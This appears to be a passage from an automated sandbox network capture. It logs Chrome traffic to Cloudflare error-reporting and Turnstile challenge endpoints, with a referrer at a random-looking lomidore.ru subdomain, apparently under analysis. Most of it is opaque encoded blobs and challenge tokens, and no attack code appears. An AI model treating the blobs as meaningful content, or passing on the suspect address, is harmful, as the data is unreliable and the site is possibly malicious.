2024-12-11 18:22:23 UTC	1369	IN	Data Raw: 62 6b 68 6c 62 57 30 7a 4f 32 6c 2f 4e 6d 4a 4b 58 33 39 34 58 7a 6c 61 68 30 5a 64 59 46 74 36 5a 30 78 37 5a 6b 56 78 55 57 78 57 55 31 43 45 64 59 56 6f 55 46 70 61 6d 35 79 42 66 4b 4b 6e 67 31 39 39 6b 34 75 55 61 36 70 2f 65 61 6c 70 6c 49 79 51 6a 59 4f 44 64 71 69 55 71 5a 75 31 66 36 6d 70 64 4d 4f 76 6e 34 46 2f 6d 37 61 63 6f 5a 36 35 69 36 79 6a 6f 71 71 77 6c 4d 50 4d 72 4b 4b 4c 6a 4c 7a 4c 70 74 7a 54 71 39 7a 4c 77 62 62 46 6e 62 33 49 33 4c 69 64 74 4c 33 6d 71 63 2f 73 77 63 6a 79 31 75 72 43 30 66 6a 70 79 38 7a 70 7a 65 65 35 33 62 6a 50 30 38 57 2b 77 65 63 42 32 75 72 4c 37 65 6a 6c 44 76 49 46 37 51 38 55 43 65 58 68 46 50 48 37 36 78 54 6d 43 50 45 65 32 77 4c 34 39 52 37 77 42 41 6b 64 42 68 67 65 47 43 49 4b 37 4f 7a 37 4a 41 30 Data Ascii: bkhlbW0zO2l/NmJKX394Xzlah0ZdYFt6Z0x7ZkVxUWxWU1CEdYVoUFpam5yBfKKng199k4uUa6p/ealplIyQjYODdqiUqZu1f6mpdMOvn4F/m7acoZ65i6yjoqqwlMPMrKKLjLzLptzTq9zLwbbFnb3I3LidtL3mqc/swcjy1urC0fjpy8zpzee53bjP08W+wecB2urL7ejlDvIF7Q8UCeXhFPH76xTmCPEe2wL49R7wBAkdBhgeGCIK7Oz7JA0
2024-12-11 18:22:23 UTC	1369	IN	Data Raw: 57 74 37 62 48 46 58 51 31 68 31 57 44 39 56 55 34 6d 4d 67 30 31 66 69 58 68 66 67 47 70 6c 55 6c 47 51 69 48 5a 6e 61 59 35 61 62 59 6d 51 6e 4a 70 35 6c 56 31 36 66 46 39 78 64 6f 71 66 61 6f 4a 6c 69 59 32 4f 61 36 32 4f 67 6f 56 32 70 5a 53 32 65 70 36 4b 69 4c 75 5a 6e 72 32 41 73 62 61 38 74 4b 71 41 70 62 2b 6b 70 72 2f 4d 73 74 44 48 6b 4d 48 43 70 4d 66 4f 32 4b 6d 75 72 4a 58 4b 6e 2b 43 35 6e 4e 62 69 74 4d 69 39 75 73 75 69 36 4d 65 71 33 4b 7a 50 76 75 7a 43 31 4c 62 66 77 50 54 71 37 65 54 46 76 65 43 34 76 37 37 37 38 66 54 79 33 75 44 38 35 38 4c 71 35 39 6e 35 43 4f 51 4c 7a 65 6e 4e 7a 4d 2f 4f 7a 78 62 36 38 39 76 39 37 41 73 6a 48 78 33 36 49 68 77 6f 45 77 58 30 4b 53 63 65 36 77 34 78 45 2b 77 67 4c 52 4c 2b 4f 53 51 4f 41 77 77 4c Data Ascii: Wt7bHFXQ1h1WD9VU4mMg01fiXhfgGplUlGQiHZnaY5abYmQnJp5lV16fF9xdoqfaoJliY2Oa62OgoV2pZS2ep6KiLuZnr2Asba8tKqApb+kpr/MstDHkMHCpMfO2KmurJXKn+C5nNbitMi9usui6Meq3KzPvuzC1LbfwPTq7eTFveC4v7778fTy3uD858Lq59n5COQLzenNzM/Ozxb689v97AsjHx36IhwoEwX0KSce6w4xE+wgLRL+OSQOAwwL
2024-12-11 18:22:23 UTC	1369	IN	Data Raw: 56 30 63 6e 4a 57 5a 31 64 7a 57 6f 78 46 64 34 52 71 68 57 46 68 58 6c 57 46 59 49 5a 70 6a 32 65 54 64 6c 57 61 65 57 2b 4d 6f 4a 2b 45 67 61 43 67 6d 61 52 2b 6d 61 4b 6e 69 35 42 36 68 58 53 6c 6e 36 53 5a 65 4c 4a 78 72 48 69 62 6a 59 69 30 6f 6e 71 34 6f 4a 57 6f 6c 5a 71 7a 77 72 52 2f 74 73 48 4a 7a 62 2b 76 7a 38 6d 75 7a 63 79 59 72 63 2b 7a 6c 63 36 37 30 35 65 65 32 37 43 65 6e 61 2f 65 6e 39 32 69 36 4e 66 75 74 39 6e 79 37 62 44 71 37 36 33 59 2b 63 36 30 36 2f 47 76 7a 2f 44 4e 39 4c 54 76 30 2f 76 44 42 74 7a 66 33 4f 45 48 33 4d 73 4d 35 2b 51 50 37 76 58 66 7a 4f 6a 35 39 74 50 76 32 39 58 71 43 41 30 4f 36 67 2f 66 42 50 67 66 47 4f 48 38 48 67 6e 70 35 68 6b 6c 42 79 38 64 37 68 51 49 49 66 49 78 42 69 73 57 2f 44 45 55 47 78 6f 32 45 Data Ascii: V0cnJWZ1dzWoxFd4RqhWFhXlWFYIZpj2eTdlWaeW+MoJ+EgaCgmaR+maKni5B6hXSln6SZeLJxrHibjYi0onq4oJWolZqzwrR/tsHJzb+vz8muzcyYrc+zlc6705ee27Cena/en92i6Nfut9ny7bDq763Y+c606/Gvz/DN9LTv0/vDBtzf3OEH3MsM5+QP7vXfzOj59tPv29XqCA0O6g/fBPgfGOH8Hgnp5hklBy8d7hQIIfIxBisW/DEUGxo2E
2024-12-11 18:22:23 UTC	1369	IN	Data Raw: 73 67 47 56 38 63 47 6c 6f 59 31 35 6f 61 57 64 57 68 47 5a 35 6b 35 4e 32 57 33 79 66 58 59 39 75 63 4b 4b 41 67 46 39 67 64 32 4f 4b 64 59 47 46 67 36 79 64 73 4c 4b 72 6f 6f 4b 78 6c 6e 57 7a 70 61 79 2b 76 70 61 73 6a 71 32 31 76 35 4f 53 79 63 4c 4b 6d 63 31 2f 7a 6f 47 76 6d 64 50 4d 30 59 75 51 6a 71 76 5a 72 5a 65 58 7a 64 65 65 73 36 32 75 6e 74 47 38 35 4c 50 42 71 4c 54 49 31 4b 50 5a 76 65 44 4e 71 71 2f 46 73 61 7a 4a 78 38 33 33 74 73 37 50 2f 75 32 36 37 38 72 6a 33 66 54 76 2b 64 58 66 34 73 66 45 41 65 48 72 79 68 44 67 36 75 55 51 31 52 59 47 47 74 72 59 35 4e 66 59 31 66 58 5a 39 64 6b 42 45 69 49 62 33 78 2f 32 39 42 62 6b 2f 6a 48 77 4b 69 54 75 4d 41 6b 55 4e 77 33 76 43 2b 30 64 44 78 41 62 50 79 38 61 41 69 49 75 51 78 41 30 4d 30 Data Ascii: sgGV8cGloY15oaWdWhGZ5k5N2W3yfXY9ucKKAgF9gd2OKdYGFg6ydsLKrooKxlnWzpay+vpasjq21v5OSycLKmc1/zoGvmdPM0YuQjqvZrZeXzdees62untG85LPBqLTI1KPZveDNqq/FsazJx833ts7P/u2678rj3fTv+dXf4sfEAeHryhDg6uUQ1RYGGtrY5NfY1fXZ9dkBEiIb3x/29Bbk/jHwKiTuMAkUNw3vC+0dDxAbPy8aAiIuQxA0M0
2024-12-11 18:22:23 UTC	1369	IN	Data Raw: 6b 57 2b 4b 69 35 52 2f 69 46 46 54 69 58 78 36 61 6f 78 78 62 6c 75 4f 59 35 74 66 66 4a 5a 6b 5a 59 47 64 71 58 36 68 70 61 79 53 67 33 79 45 67 61 71 6c 71 62 71 77 68 62 4b 7a 6d 48 65 4e 74 4b 4b 6b 74 72 65 59 6d 35 32 2b 6e 71 4b 6d 75 62 71 75 72 70 4b 71 68 73 6e 4d 74 4d 79 30 79 61 36 62 6e 4b 75 59 34 4f 4b 33 74 4f 4b 62 75 62 48 67 78 39 33 70 31 74 72 70 76 65 33 4a 75 2b 4c 77 35 74 53 75 78 4c 62 32 38 2f 4f 31 33 64 33 75 37 2f 76 72 77 4c 37 7a 39 66 4c 45 43 4d 50 71 33 65 2f 77 37 50 4c 6f 36 66 44 75 35 76 44 6b 42 4e 66 35 2b 50 72 34 48 78 7a 31 41 64 73 45 34 2f 4d 49 35 68 34 68 47 77 41 47 36 4f 34 6a 43 52 38 50 43 69 38 41 49 43 6f 34 4f 76 66 38 39 6a 6b 76 46 66 6f 51 41 78 51 64 42 44 63 48 42 54 4d 38 4c 6a 77 46 4f 56 45 Data Ascii: kW+Ki5R/iFFTiXx6aoxxbluOY5tffJZkZYGdqX6hpaySg3yEgaqlqbqwhbKzmHeNtKKktreYm52+nqKmubqurpKqhsnMtMy0ya6bnKuY4OK3tOKbubHgx93p1trpve3Ju+Lw5tSuxLb28/O13d3u7/vrwL7z9fLECMPq3e/w7PLo6fDu5vDkBNf5+Pr4Hxz1AdsE4/MI5h4hGwAG6O4jCR8PCi8AICo4Ovf89jkvFfoQAxQdBDcHBTM8LjwFOVE
2024-12-11 18:22:23 UTC	1369	IN	Data Raw: 49 35 78 55 6f 5a 6e 6b 4a 32 61 6a 6d 71 69 59 32 39 6d 70 6e 31 33 6e 36 79 6e 66 71 46 6f 68 61 2b 7a 62 49 4b 49 72 34 4b 6b 64 36 79 4b 6c 35 56 35 75 37 61 50 6f 4c 35 36 67 34 36 45 74 5a 53 2f 69 63 69 63 79 61 75 75 30 73 43 70 31 49 75 6e 79 64 43 53 6c 61 50 46 6e 4b 2b 66 74 75 4c 66 6f 38 2b 68 76 4d 47 31 36 4e 4b 64 34 61 79 72 33 72 6e 52 37 4d 4c 50 35 39 58 4c 35 37 44 36 79 74 62 46 33 39 4c 4e 30 66 76 55 77 74 33 36 32 41 54 49 42 4e 33 4b 33 50 30 46 2f 4e 2f 50 79 2f 55 4b 30 78 54 73 7a 2f 59 64 42 77 77 41 46 68 6a 64 47 66 44 64 42 52 2f 38 49 69 45 49 48 74 34 46 4c 66 67 44 43 75 67 31 49 51 41 51 4e 68 44 79 2b 41 6b 70 4c 7a 33 38 38 6a 63 72 48 6a 73 65 52 52 78 44 42 30 77 49 52 68 59 68 41 68 6c 48 54 68 34 4c 45 53 67 4f Data Ascii: I5xUoZnkJ2ajmqiY29mpn13n6ynfqFoha+zbIKIr4Kkd6yKl5V5u7aPoL56g46EtZS/icicyauu0sCp1IunydCSlaPFnK+ftuLfo8+hvMG16NKd4ayr3rnR7MLP59XL57D6ytbF39LN0fvUwt362ATIBN3K3P0F/N/Py/UK0xTsz/YdBwwAFhjdGfDdBR/8IiEIHt4FLfgDCug1IQAQNhDy+AkpLz388jcrHjseRRxDB0wIRhYhAhlHTh4LESgO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49742	35.190.80.1	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:23 UTC	541	OUT	OPTIONS /report/v4?s=e0FxzyucBHcc6MhBQbLs4h9%2BvyrFIArF1TTf8srpJe4LTRZTBh3kHycVDdgQ2GJ9HbdJb6%2B1Io9JqFPPS8beulWRyZxn0LKFfqA1J5nt4ho6M1HaIhMynEnP7Dm%2BYQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://18qdy4sm2g.lomidore.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:23 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 11 Dec 2024 18:22:23 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49744	35.190.80.1	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:25 UTC	476	OUT	POST /report/v4?s=e0FxzyucBHcc6MhBQbLs4h9%2BvyrFIArF1TTf8srpJe4LTRZTBh3kHycVDdgQ2GJ9HbdJb6%2B1Io9JqFPPS8beulWRyZxn0LKFfqA1J5nt4ho6M1HaIhMynEnP7Dm%2BYQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 443 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:25 UTC	443	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 36 39 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 31 38 71 64 79 34 73 6d 32 67 2e 6c 6f 6d 69 64 6f 72 65 2e 72 75 2f 62 61 53 44 55 34 6f 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 32 31 35 2e 31 33 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 Data Ascii: [{"age":0,"body":{"elapsed_time":669,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://18qdy4sm2g.lomidore.ru/baSDU4o/","sampling_fraction":1.0,"server_ip":"172.67.215.131","status_code":404,"type":"http.error"},"type":"networ
2024-12-11 18:22:25 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 11 Dec 2024 18:22:24 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49745	104.18.94.41	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:25 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1759472969:1733938185:6Ak7oULa4BiQMxykmoOEDeACrRtY62PkChtHZRgN3C0/8f077fd7ad501889/.WxIwZ6A3N99rM2kAENNnQzOAqVJeC8ksv5OQCLJyzQ-1733941338-1.1.1.1-lpkpeHPLCxpcvGPGfzydAp90kelNHZABhKJ0DCxrZui6wLJzSoy2zSEqk.e3xYiv HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:25 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Dec 2024 18:22:25 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: dFjrHjdn5x7hDnGLZcAEg3Pr99RB1BfvSYk=$sIx4LfDLs+qa6T/A Server: cloudflare CF-RAY: 8f0780011d1043c8-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 18:22:25 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49746	104.18.95.41	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:25 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/8f077fd7ad501889/1733941343085/cb9a51fd2b08916948ca4f0157021a0ca904a5ac76e00f68105c469793778fbd/vXBz1MTwnqCZRPO HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/djwd3/0x4AAAAAAA1KgdNE9-bMhAVQ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:25 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Wed, 11 Dec 2024 18:22:25 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2024-12-11 18:22:25 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 79 35 70 52 5f 53 73 49 6b 57 6c 49 79 6b 38 42 56 77 49 61 44 4b 6b 45 70 61 78 32 34 41 39 6f 45 46 78 47 6c 35 4e 33 6a 37 30 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gy5pR_SsIkWlIyk8BVwIaDKkEpax24A9oEFxGl5N3j70AGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-12-11 18:22:25 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49754	104.18.95.41	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:27 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8f077fd7ad501889/1733941343090/xw4d4iYvwLWLQe7 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/djwd3/0x4AAAAAAA1KgdNE9-bMhAVQ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:28 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:22:27 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8f078010aabc4308-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 18:22:28 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0f 00 00 00 2e 08 02 00 00 00 78 44 d4 8e 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR.xDIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49758	104.18.94.41	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:29 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8f077fd7ad501889/1733941343090/xw4d4iYvwLWLQe7 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:29 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:22:29 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8f07801b5eb27cea-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 18:22:29 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0f 00 00 00 2e 08 02 00 00 00 78 44 d4 8e 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR.xDIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49759	104.18.95.41	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:29 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1759472969:1733938185:6Ak7oULa4BiQMxykmoOEDeACrRtY62PkChtHZRgN3C0/8f077fd7ad501889/.WxIwZ6A3N99rM2kAENNnQzOAqVJeC8ksv5OQCLJyzQ-1733941338-1.1.1.1-lpkpeHPLCxpcvGPGfzydAp90kelNHZABhKJ0DCxrZui6wLJzSoy2zSEqk.e3xYiv HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31469 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: .WxIwZ6A3N99rM2kAENNnQzOAqVJeC8ksv5OQCLJyzQ-1733941338-1.1.1.1-lpkpeHPLCxpcvGPGfzydAp90kelNHZABhKJ0DCxrZui6wLJzSoy2zSEqk.e3xYiv sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/djwd3/0x4AAAAAAA1KgdNE9-bMhAVQ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:29 UTC	16384	OUT	Data Raw: 76 5f 38 66 30 37 37 66 64 37 61 64 35 30 31 38 38 39 3d 31 46 77 44 55 49 63 4a 53 49 53 24 46 51 4a 42 56 2d 51 4a 44 31 78 63 53 58 69 49 34 51 64 44 31 39 53 6d 30 63 51 50 44 78 49 47 57 56 46 44 51 70 77 51 73 48 78 59 53 51 75 51 35 4d 49 51 39 46 63 6f 59 69 32 51 63 55 51 77 77 63 32 51 41 42 51 4c 43 74 36 4d 46 51 4f 36 44 6d 62 51 6e 2d 7a 44 51 4b 58 58 42 74 51 36 62 53 57 51 6a 30 35 64 24 63 4d 51 4d 42 51 43 51 51 32 79 78 4b 72 51 58 70 78 51 58 70 69 51 38 51 59 71 34 51 63 68 2d 79 4f 66 45 44 4c 35 64 79 65 6f 63 53 33 58 79 4c 77 39 58 61 48 73 34 53 4c 63 2d 4a 55 39 33 43 36 2d 2d 49 51 49 58 61 53 39 42 4d 51 63 6a 5a 43 49 49 66 4a 72 47 34 71 48 51 6a 44 43 4d 44 53 70 25 32 62 2b 6f 56 47 52 42 39 45 45 43 56 6b 6c 64 70 6d 4a Data Ascii: v_8f077fd7ad501889=1FwDUIcJSIS$FQJBV-QJD1xcSXiI4QdD19Sm0cQPDxIGWVFDQpwQsHxYSQuQ5MIQ9FcoYi2QcUQwwc2QABQLCt6MFQO6DmbQn-zDQKXXBtQ6bSWQj05d$cMQMBQCQQ2yxKrQXpxQXpiQ8QYq4Qch-yOfEDL5dyeocS3XyLw9XaHs4SLc-JU93C6--IQIXaS9BMQcjZCIIfJrG4qHQjDCMDSp%2b+oVGRB9EECVkldpmJ
2024-12-11 18:22:29 UTC	15085	OUT	Data Raw: 63 34 51 56 44 33 56 77 77 49 4e 51 76 77 5a 69 44 44 58 61 4e 6c 5a 51 51 52 44 64 51 77 44 6d 77 51 6c 51 63 78 6d 52 51 32 70 63 30 49 34 51 6f 46 69 78 51 37 30 4a 51 69 78 6d 66 42 6e 51 63 75 49 2d 51 71 51 4d 57 49 30 51 51 44 51 42 2d 75 51 64 44 51 53 63 50 51 72 44 58 53 63 68 51 56 51 69 45 63 6a 51 7a 44 49 42 6d 6a 51 36 44 24 37 49 31 51 6f 57 4d 77 6d 73 78 71 44 49 51 49 49 51 55 44 58 59 63 44 51 42 46 24 6e 63 55 44 42 46 31 57 6d 73 78 32 70 31 78 63 44 51 4c 51 52 42 51 77 78 5a 78 58 77 6d 70 63 42 44 30 5a 6d 56 51 6a 44 69 45 51 2d 63 6f 46 24 2b 53 77 78 6e 51 6e 78 58 73 78 70 77 77 56 63 44 51 32 70 77 77 69 64 63 4b 51 43 78 73 4a 51 50 44 6e 4c 51 46 56 6f 46 49 57 4d 41 44 35 72 49 51 6d 61 45 35 61 53 41 6f 51 63 30 51 49 51 Data Ascii: c4QVD3VwwINQvwZiDDXaNlZQQRDdQwDmwQlQcxmRQ2pc0I4QoFixQ70JQixmfBnQcuI-QqQMWI0QQDQB-uQdDQScPQrDXSchQVQiEcjQzDIBmjQ6D$7I1QoWMwmsxqDIQIIQUDXYcDQBF$ncUDBF1Wmsx2p1xcDQLQRBQwxZxXwmpcBD0ZmVQjDiEQ-coF$+SwxnQnxXsxpwwVcDQ2pwwidcKQCxsJQPDnLQFVoFIWMAD5rIQmaE5aSAoQc0QIQ
2024-12-11 18:22:30 UTC	330	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:22:29 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26312 Connection: close cf-chl-gen: 9v3FR8CClPMNszLY1nnjz3V5iMChyb3HXdAiA/pOTfHYBHg5NW1eCBxda8knUEgsPPhDhwp0sOTZBKHe$9RczwfGUg4f7v++W Server: cloudflare CF-RAY: 8f07801b28c54363-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 18:22:30 UTC	1039	IN	Data Raw: 6a 34 70 76 69 48 70 6d 62 47 78 33 56 6e 78 79 65 5a 52 37 66 31 31 75 6c 48 79 66 66 49 71 41 6f 33 2b 62 6d 62 4b 44 73 37 47 76 64 49 69 6f 69 61 36 54 71 4a 61 5a 66 35 43 62 65 70 53 51 6b 72 47 66 6d 4c 2b 47 79 37 72 48 78 63 66 41 78 72 75 70 31 4c 57 77 71 4d 6d 78 32 37 53 70 75 71 36 38 72 4b 32 33 75 38 48 66 33 63 2b 66 6f 64 65 35 37 4d 7a 75 77 4f 44 4d 71 65 72 52 79 38 4c 50 79 72 48 44 7a 73 6a 35 30 63 6e 70 39 62 54 41 42 65 54 67 32 4f 6a 67 2f 65 54 5a 33 75 72 2b 35 4f 37 65 43 2b 44 75 38 75 2f 73 30 65 50 36 37 52 73 41 46 4e 66 67 32 69 41 43 34 69 4d 6a 2f 76 48 34 46 43 4c 72 43 43 67 74 2f 53 44 77 41 53 55 44 4a 42 55 54 4c 78 55 6d 48 51 30 4e 4c 53 44 2b 47 53 51 6a 50 42 46 4a 47 41 4e 41 51 68 35 41 4c 45 46 48 4c 42 41 Data Ascii: j4pviHpmbGx3VnxyeZR7f11ulHyffIqAo3+bmbKDs7GvdIioia6TqJaZf5CbepSQkrGfmL+Gy7rHxcfAxrup1LWwqMmx27Spuq68rK23u8Hf3c+fode57MzuwODMqerRy8LPyrHDzsj50cnp9bTABeTg2Ojg/eTZ3ur+5O7eC+Du8u/s0eP67RsAFNfg2iAC4iMj/vH4FCLrCCgt/SDwASUDJBUTLxUmHQ0NLSD+GSQjPBFJGANAQh5ALEFHLBA
